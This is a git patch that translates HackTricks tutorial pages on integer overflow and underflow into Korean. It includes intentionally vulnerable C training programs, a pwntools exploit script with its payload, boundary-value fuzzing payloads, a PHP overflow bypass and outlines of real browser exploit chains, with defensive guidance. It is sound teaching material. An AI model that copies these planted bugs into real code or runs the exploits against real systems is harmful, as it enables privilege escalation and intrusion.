From cdfccb96f5a614e2148b9f52bc86112c001239ea Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 7 Sep 2025 14:59:34 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/integer-overflow-and-underflow.md', --- src/SUMMARY.md | 2 +- .../integer-overflow-and-underflow.md | 368 ++++++++++++++++++ src/binary-exploitation/integer-overflow.md | 115 ------ .../integer-overflow.md | 77 ++-- 4 files changed, 408 insertions(+), 154 deletions(-) create mode 100644 src/binary-exploitation/integer-overflow-and-underflow.md delete mode 100644 src/binary-exploitation/integer-overflow.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9a62d47c5..dab618a10 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -785,7 +785,7 @@ - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) -- [Integer Overflow](binary-exploitation/integer-overflow.md) +- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md new file mode 100644 index 000000000..d42490bd8 --- /dev/null +++ b/src/binary-exploitation/integer-overflow-and-underflow.md @@ -0,0 +1,368 @@ +# Integer Overflow + +{{#include ../banners/hacktricks-training.md}} + +## 기본 정보 + +핵심적으로 **integer overflow**는 컴퓨터 프로그래밍에서 데이터 타입의 **크기**와 데이터의 **해석**이 부과하는 제한 때문이다. + +예를 들어, **8-bit unsigned integer**는 **0부터 255까지**의 값을 표현할 수 있다. 8-bit unsigned integer에 256을 저장하려고 하면 저장 용량의 한계로 인해 값이 0으로 래핑된다. 마찬가지로 **16-bit unsigned integer**(**0부터 65,535까지**의 값을 저장 가능)에서 65,535에 1을 더하면 값이 다시 0으로 래핑된다. + +또한 **8-bit signed integer**는 **-128부터 127까지**의 값을 표현할 수 있다. 이는 부호(양수 또는 음수)를 나타내는 1비트를 사용하고 나머지 7비트가 크기를 표현하기 때문이다. 가장 작은 수는 **-128**(binary `10000000`)로 표현되고, 가장 큰 수는 **127**(binary `01111111`)로 표현된다. + +일반적인 정수 타입의 최대값: +| Type | Size (bits) | Min Value | Max Value | +|----------------|-------------|--------------------|--------------------| +| int8_t | 8 | -128 | 127 | +| uint8_t | 8 | 0 | 255 | +| int16_t | 16 | -32,768 | 32,767 | +| uint16_t | 16 | 0 | 65,535 | +| int32_t | 32 | -2,147,483,648 | 2,147,483,647 | +| uint32_t | 32 | 0 | 4,294,967,295 | +| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 | +| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 | + +short는 `int16_t`에 해당하고, int는 `int32_t`에 해당하며, long은 64비트 시스템에서 `int64_t`에 해당한다. + +### Max values + +잠재적 **web vulnerabilities**를 위해 최대 지원 값들을 아는 것은 매우 흥미롭고 중요하다: + +{{#tabs}} +{{#tab name="Rust"}} +```rust +fn main() { + +let mut quantity = 2147483647; + +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); + +println!("{}", mul_result); +println!("{}", add_result); +} +``` +{{#endtab}} + +{{#tab name="C"}} +```c +#include +#include + +int main() { +int a = INT_MAX; +int b = 0; +int c = 0; + +b = a * 100; +c = a + 1; + +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; +} +``` +{{#endtab}} +{{#endtabs}} + +## 예제 + +### Pure overflow + +출력 결과는 0입니다. char를 overflowed했기 때문입니다: +```c +#include + +int main() { +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; +} +``` +### Signed to Unsigned Conversion + +사용자 입력에서 signed integer가 읽히고 적절한 검증 없이 unsigned integer로 취급되는 문맥에서 사용되는 상황을 고려해보자: +```c +#include + +int main() { +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); + +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; + +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} + +return 0; +} +``` +이 예에서는 사용자가 음수를 입력하면 이진 값이 해석되는 방식 때문에 그 값이 큰 부호 없는 정수로 취급되어 예기치 않은 동작을 초래할 수 있습니다。 + +### macOS Overflow Example +```c +#include +#include +#include +#include +#include + +/* +* Realistic integer-overflow → undersized allocation → heap overflow → flag +* Works on macOS arm64 (no ret2win required; avoids PAC/CFI). +*/ + +__attribute__((noinline)) +void win(void) { +puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); +puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // Target to flip from 0 → 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY) +const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine) +size_t got = 0; + +printf("Requested bytes: %zu\n", want); + +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; + +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { +got += (size_t)n; +continue; +} +if (n == 0) { +// EOF – stop; partial reads are fine for our exploit +break; +} +// n < 0: real error (likely EINVAL when chunk too big on some FDs) +perror("read"); +break; +} +return got; +} + + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Bundle Importer (training) ==="); + +// 1) Read attacker-controlled parameters (use large values) +size_t count = 0, elem_size = 0; +printf("Entry count: "); +if (scanf("%zu", &count) != 1) return 1; +printf("Entry size: "); +if (scanf("%zu", &elem_size) != 1) return 1; + +// 2) Compute total bytes with a 32-bit truncation bug (vulnerability) +// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header. +uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. +/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits +Then, product32 = 0 +*/ +uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32 +printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32); + +// 3) Allocate a single arena and lay out [buffer][slack][session] +// This makes adjacency deterministic (no reliance on system malloc order). +const size_t SLACK = 512; +size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; // In this buffer the attacker will copy data +struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48 +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, alloc32, (void*)sess, +((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16). + +// 4) Copy uses native size_t product (no truncation) → It generates an overflow +size_t to_copy = count * elem_size; // <-- Large size_t +printf("[dbg] requested copy (size_t) = %zu\n", to_copy); + +puts(">> Send bundle payload on stdin (EOF to finish)..."); +size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1 +printf("[dbg] actually read = %zu bytes\n", got); + +// 5) Privileged action gated by a field next to the overflow target +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +다음과 같이 컴파일하세요: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_ovf_heap_priv int_ovf_heap_priv.c +``` +#### Exploit +```python +# exploit.py +from pwn import * + +# Keep logs readable; switch to "debug" if you want full I/O traces +context.log_level = "info" + +EXE = "./int_ovf_heap_priv" + +def main(): +# IMPORTANT: use plain pipes, not PTY +io = process([EXE]) # stdin=PIPE, stdout=PIPE by default + +# 1) Drive the prompts +io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0 +io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48 + +# 2) Wait until it’s actually reading the payload +io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...") + +# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian) +payload = b"A" * 48 + p32(1) + +# 4) Send payload, THEN send EOF via half-close on the pipe +io.send(payload) +io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary + +# 5) Read the rest (should print admin + FLAG) +print(io.recvall(timeout=5).decode(errors="ignore")) + +if __name__ == "__main__": +main() +``` +### macOS Underflow 예제 +```c +#include +#include +#include +#include +#include + +/* +* Integer underflow -> undersized allocation + oversized copy -> heap overwrite +* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin. +*/ + +__attribute__((noinline)) +void win(void) { +puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); +puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // flip 0 -> 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY. +const size_t MAX_CHUNK = 1 << 20; // 1 MiB +size_t got = 0; +printf("[dbg] Requested bytes: %zu\n", want); +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { got += (size_t)n; continue; } +if (n == 0) break; // EOF: partial read is fine +perror("read"); break; +} +return got; +} + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Packet Importer (UNDERFLOW training) ==="); + +size_t total_len = 0; +printf("Total packet length: "); +if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8" + +const size_t HEADER = 16; + +// **BUG**: size_t underflow if total_len < HEADER +size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned +// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number) +printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n", +total_len, HEADER, payload_len); + +// Build a deterministic arena: [buf of total_len][16 gap][session][slack] +const size_t SLACK = 256; +size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; +struct session *sess = (struct session*)(arena + total_len + 16); +// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18) +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16); + +puts(">> Send payload bytes (EOF to finish)..."); +size_t got = read_stdin(buf, payload_len); +// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 +printf("[dbg] actually read = %zu bytes\n", got); + +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +다음과 같이 컴파일하세요: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_underflow_heap int_underflow_heap.c +``` +### 기타 예제 + +- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) +- 비밀번호 크기를 저장하는 데 단 1B만 사용되므로 overflow를 발생시켜 실제 길이는 260인데 길이를 4로 인식하게 만들어 길이 검사 보호를 우회할 수 있다 +- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) + +- 몇 개의 숫자가 주어졌을 때 z3를 사용해 첫 번째 숫자와 곱했을 때 두 번째 숫자가 되는 새로운 숫자를 찾아라: + +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` + +- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) +- 비밀번호 크기를 저장하는 데 단 1B만 사용되므로 overflow를 발생시켜 실제 길이는 260인데 길이를 4로 인식하게 만들어 길이 검사 보호를 우회하고 stack에 있는 다음 local variable을 덮어써 두 보호를 모두 우회할 수 있다 + +## ARM64 + +이는 ARM64에서는 **변하지 않는다**는 것을 [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)에서 볼 수 있다. + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md deleted file mode 100644 index 415ca2dea..000000000 --- a/src/binary-exploitation/integer-overflow.md +++ /dev/null @@ -1,115 +0,0 @@ -# 정수 오버플로우 - -{{#include ../banners/hacktricks-training.md}} - -## 기본 정보 - -**정수 오버플로우**의 핵심은 컴퓨터 프로그래밍에서 데이터 유형의 **크기**에 의해 부과된 제한과 데이터의 **해석**입니다. - -예를 들어, **8비트 부호 없는 정수**는 **0에서 255**까지의 값을 나타낼 수 있습니다. 8비트 부호 없는 정수에 256의 값을 저장하려고 하면, 저장 용량의 제한으로 인해 0으로 돌아갑니다. 마찬가지로, **16비트 부호 없는 정수**는 **0에서 65,535**까지의 값을 저장할 수 있으며, 65,535에 1을 더하면 값이 다시 0으로 돌아갑니다. - -또한, **8비트 부호 있는 정수**는 **-128에서 127**까지의 값을 나타낼 수 있습니다. 이는 한 비트가 부호(양수 또는 음수)를 나타내는 데 사용되므로, 7비트가 크기를 나타내는 데 남습니다. 가장 작은 음수는 **-128**(이진 `10000000`)로 표현되고, 가장 큰 양수는 **127**(이진 `01111111`)로 표현됩니다. - -### 최대 값 - -잠재적인 **웹 취약점**에 대해 최대 지원 값을 아는 것은 매우 흥미롭습니다: - -{{#tabs}} -{{#tab name="Rust"}} -```rust -fn main() { - -let mut quantity = 2147483647; - -let (mul_result, _) = i32::overflowing_mul(32767, quantity); -let (add_result, _) = i32::overflowing_add(1, quantity); - -println!("{}", mul_result); -println!("{}", add_result); -} -``` -{{#endtab}} - -{{#tab name="C"}} -```c -#include -#include - -int main() { -int a = INT_MAX; -int b = 0; -int c = 0; - -b = a * 100; -c = a + 1; - -printf("%d\n", INT_MAX); -printf("%d\n", b); -printf("%d\n", c); -return 0; -} -``` -{{#endtab}} -{{#endtabs}} - -## 예시 - -### 순수 오버플로우 - -출력된 결과는 0이 될 것입니다. 왜냐하면 우리는 char를 오버플로우했기 때문입니다: -```c -#include - -int main() { -unsigned char max = 255; // 8-bit unsigned integer -unsigned char result = max + 1; -printf("Result: %d\n", result); // Expected to overflow -return 0; -} -``` -### Signed to Unsigned Conversion - -사용자 입력에서 읽은 signed integer가 적절한 검증 없이 unsigned integer로 처리되는 상황을 고려해 보십시오: -```c -#include - -int main() { -int userInput; // Signed integer -printf("Enter a number: "); -scanf("%d", &userInput); - -// Treating the signed input as unsigned without validation -unsigned int processedInput = (unsigned int)userInput; - -// A condition that might not work as intended if userInput is negative -if (processedInput > 1000) { -printf("Processed Input is large: %u\n", processedInput); -} else { -printf("Processed Input is within range: %u\n", processedInput); -} - -return 0; -} -``` -이 예제에서 사용자가 음수를 입력하면 이진 값 해석 방식 때문에 큰 부호 없는 정수로 해석되어 예상치 못한 동작을 초래할 수 있습니다. - -### 다른 예제들 - -- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) -- 비밀번호의 크기를 저장하는 데 1B만 사용되므로 오버플로우가 가능하고 실제 길이가 260인 반면 길이가 4라고 생각하게 만들어 길이 검사 보호를 우회할 수 있습니다. -- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - -- 몇 개의 숫자가 주어졌을 때 z3를 사용하여 첫 번째 숫자와 곱해져 두 번째 숫자를 생성하는 새로운 숫자를 찾습니다: - -``` -(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) -``` - -- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) -- 비밀번호의 크기를 저장하는 데 1B만 사용되므로 오버플로우가 가능하고 실제 길이가 260인 반면 길이가 4라고 생각하게 만들어 길이 검사 보호를 우회하고 스택에서 다음 지역 변수를 덮어쓰고 두 가지 보호를 모두 우회할 수 있습니다. - -## ARM64 - -이 **ARM64에서는 변경되지 않습니다**. [**이 블로그 게시물**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)에서 볼 수 있습니다. - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md index 117e2563f..3250e3c29 100644 --- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md +++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md @@ -2,45 +2,44 @@ {{#include ../../banners/hacktricks-training.md}} -> 이 페이지는 **웹 애플리케이션과 브라우저에서 정수 오버플로우/트렁케이션이 어떻게 악용될 수 있는지**에 초점을 맞추고 있습니다. 네이티브 바이너리 내에서의 악용 원리에 대해서는 전용 페이지를 계속 읽어보세요: +> 이 페이지는 **integer overflows/truncations가 웹 애플리케이션과 브라우저에서 어떻게 악용될 수 있는지**에 초점을 맞춥니다. 네이티브 바이너리 내부의 exploitation primitives에 대해서는 전용 페이지를 계속 읽으세요: > > {{#ref}} > ../../binary-exploitation/integer-overflow-and-underflow.md -> -{{#endref}} +> {{#endref}} --- -## 1. 웹에서 정수 수학이 여전히 중요한 이유 +## 1. Why integer math still matters on the web -현대 스택의 대부분 비즈니스 로직이 *메모리 안전* 언어로 작성되었음에도 불구하고, 기본 런타임(또는 서드파티 라이브러리)은 결국 C/C++로 구현됩니다. 사용자 제어 숫자가 버퍼를 할당하거나, 오프셋을 계산하거나, 길이 검사를 수행하는 데 사용될 때, **32비트 또는 64비트 래핑이 겉보기에는 무해한 매개변수를 경계 초과 읽기/쓰기, 논리 우회 또는 DoS로 변환할 수 있습니다**. +대부분의 비즈니스 로직이 최신 스택에서 *memory-safe* 언어로 작성되더라도, 기저 런타임(또는 서드파티 라이브러리)은 결국 C/C++로 구현됩니다. 사용자 제어 숫자가 버퍼 할당, 오프셋 계산, 또는 길이 검사에 사용될 때, **32-bit 또는 64-bit의 래핑(래퍼어라운드)은 외견상 무해한 파라미터를 범위를 벗어난 읽기/쓰기, 논리 우회 또는 DoS로 바꿀 수 있습니다**. -전형적인 공격 표면: +일반적인 공격 표면: -1. **숫자 요청 매개변수** – 고전적인 id, offset 또는 count 필드. -2. **길이/크기 헤더** – Content-Length, WebSocket 프레임 길이, HTTP/2 continuation_len 등. -3. **서버 측 또는 클라이언트 측에서 파싱된 파일 형식 메타데이터** – 이미지 크기, 청크 크기, 글꼴 테이블. -4. **언어 수준 변환** – PHP/Go/Rust FFI의 signed↔unsigned 캐스팅, V8 내의 JS Number → int32 트렁케이션. -5. **인증 및 비즈니스 로직** – 조용히 오버플로우되는 쿠폰 값, 가격 또는 잔액 계산. +1. **Numeric request parameters** – 전형적인 id, offset, 또는 count 필드. +2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len 등. +3. **File-format metadata parsed server-side or client-side** – 이미지 크기, 청크 크기, 폰트 테이블. +4. **Language-level conversions** – PHP/Go/Rust FFI에서의 signed↔unsigned 캐스트, V8 내부의 JS Number → int32 truncations. +5. **Authentication & business logic** – 쿠폰 값, 가격 또는 잔고 계산에서 조용히 발생하는 overflow. --- -## 2. 최근 실제 취약점 (2023-2025) +## 2. Recent real-world vulnerabilities (2023-2025) -| 연도 | 구성 요소 | 근본 원인 | 영향 | +| 연도 | 컴포넌트 | 근본 원인 | 영향 | |------|-----------|-----------|--------| -| 2023 | **libwebp – CVE-2023-4863** | 디코딩된 픽셀 크기를 계산할 때 32비트 곱셈 오버플로우 | Chrome 0-day를 유발 (iOS의 BLASTPASS), 렌더러 샌드박스 내에서 *원격 코드 실행*을 허용. | -| 2024 | **V8 – CVE-2024-0519** | JSArray를 확장할 때 32비트로 트렁케이션되어 백킹 스토어에서 OOB 쓰기 발생 | 단일 방문 후 원격 코드 실행. | -| 2025 | **Apollo GraphQL Server** (미발표 패치) | 첫 번째/마지막 페이지 매김 인수에 사용된 32비트 signed 정수; 음수 값이 큰 양수로 래핑됨 | 논리 우회 및 메모리 고갈 (DoS). | +| 2023 | **libwebp – CVE-2023-4863** | 디코딩된 픽셀 크기를 계산할 때 발생한 32-bit multiplication overflow | Chrome 0-day(BLASTPASS on iOS)를 트리거했고, renderer sandbox 내부에서 *remote code execution*를 허용했습니다. | +| 2024 | **V8 – CVE-2024-0519** | JSArray를 확장할 때 32-bit로의 truncation이 backing store에 대한 OOB write로 이어짐 | 단 한 번의 방문으로 Remote code execution이 발생했습니다. | +| 2025 | **Apollo GraphQL Server** (unreleased patch) | first/last pagination args에 32-bit signed integer를 사용; 음수 값이 큰 양수로 랩됩니다 | Logic bypass & memory exhaustion (DoS). | --- -## 3. 테스트 전략 +## 3. Testing strategy -### 3.1 경계 값 치트 시트 +### 3.1 Boundary-value cheat-sheet -정수가 예상되는 곳에 **극단적인 signed/unsigned 값**을 전송하세요: +정수가 예상되는 모든 곳에 **extreme signed/unsigned values**를 전송하세요: ``` -1, 0, 1, 127, 128, 255, 256, @@ -49,9 +48,9 @@ 9223372036854775807, 9223372036854775808, 0x7fffffff, 0x80000000, 0xffffffff ``` -기타 유용한 형식: +다른 유용한 형식: * Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999). -* 매우 긴 숫자 문자열 (>1kB)로 사용자 정의 파서를 타격합니다. +* 매우 긴 숫자 문자열(>1kB)로 커스텀 파서를 트리거하기 위해. ### 3.2 Burp Intruder 템플릿 ``` @@ -60,17 +59,17 @@ Payload type: Numbers From: -10 To: 4294967300 Step: 1 Pad to length: 10, Enable hex prefix 0x ``` -### 3.3 퍼징 라이브러리 및 런타임 +### 3.3 Fuzzing 라이브러리 및 런타임 -* **AFL++/Honggfuzz**는 파서 주위에 libFuzzer 하네스를 사용합니다 (예: WebP, PNG, protobuf). -* **Fuzzilli** – V8/JSC 정수 잘림을 타겟으로 하는 JavaScript 엔진의 문법 인식 퍼징. -* **boofuzz** – 길이 필드에 초점을 맞춘 네트워크 프로토콜 퍼징 (WebSocket, HTTP/2). +* **AFL++/Honggfuzz** with libFuzzer 하니스로 파서를 대상으로 (예: WebP, PNG, protobuf). +* **Fuzzilli** – 문법 인식형 fuzzing으로 JavaScript 엔진의 V8/JSC 정수 절단을 공략. +* **boofuzz** – 네트워크 프로토콜 fuzzing (WebSocket, HTTP/2)에서 길이 필드에 집중. --- -## 4. 익스플로잇 패턴 +## 4. Exploitation patterns -### 4.1 서버 측 코드에서의 논리 우회 (PHP 예제) +### 4.1 Logic bypass in 서버측 코드 (PHP 예제) ```php $price = (int)$_POST['price']; // expecting cents (0-10000) $total = $price * 100; // ← 32-bit overflow possible @@ -79,27 +78,29 @@ die('Too expensive'); } /* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */ ``` -### 4.2 이미지 디코더를 통한 힙 오버플로우 (libwebp 0-day) -WebP 무손실 디코더는 32비트 int 내에서 이미지 너비 × 높이 × 4 (RGBA)를 곱합니다. 16384 × 16384 크기의 조작된 파일은 곱셈을 오버플로우시켜 짧은 버퍼를 할당하고 이후 힙을 넘어 **~1GB**의 압축 해제된 데이터를 기록하게 되어, 116.0.5845.187 이전의 모든 Chromium 기반 브라우저에서 RCE를 초래합니다. +### 4.2 Heap overflow via 이미지 디코더 (libwebp 0-day) +The WebP lossless decoder multiplied image width × height × 4 (RGBA) inside a 32-bit int. A crafted file with dimensions 16384 × 16384 overflows the multiplication, allocates a short buffer and subsequently writes **~1GB** of decompressed data past the heap – leading to RCE in every Chromium-based browser before 116.0.5845.187. ### 4.3 브라우저 기반 XSS/RCE 체인 -1. V8에서의 **정수 오버플로우**는 임의의 읽기/쓰기를 제공합니다. -2. 두 번째 버그로 샌드박스를 탈출하거나 네이티브 API를 호출하여 페이로드를 드롭합니다. -3. 페이로드는 원본 컨텍스트에 악성 스크립트를 주입하여 → 저장된 XSS를 발생시킵니다. +1. **Integer overflow** in V8는 arbitrary read/write를 가능하게 한다. +2. 두 번째 버그로 sandbox를 탈출하거나 native APIs를 호출해 payload를 배치한다. +3. 그 payload는 origin context에 악성 스크립트를 주입 → stored XSS. --- ## 5. 방어 지침 -1. **넓은 타입 또는 체크된 수학 사용** – 예: size_t, Rust checked_add, Go math/bits.Add64. -2. **범위를 조기에 검증**: 산술 연산 전에 비즈니스 도메인 외의 값을 거부합니다. -3. **컴파일러 샌타이저 활성화**: -fsanitize=integer, UBSan, Go race detector. -4. **CI/CD에서 퍼징 채택** – 커버리지 피드백과 경계 집합을 결합합니다. -5. **패치 유지** – 브라우저 정수 오버플로우 버그는 종종 몇 주 내에 무기화됩니다. +1. **Use wide types or checked math** – e.g., size_t, Rust checked_add, Go math/bits.Add64. +2. **Validate ranges early**: 산술 연산 전에 비즈니스 도메인 밖의 값은 거부하라. +3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector. +4. **Adopt fuzzing in CI/CD** – coverage feedback과 boundary corpora를 결합하라. +5. **Stay patched** – 브라우저의 integer overflow 버그는 몇 주 내에 자주 악용된다. --- -## References + + +## 참고 자료 * [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) * [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)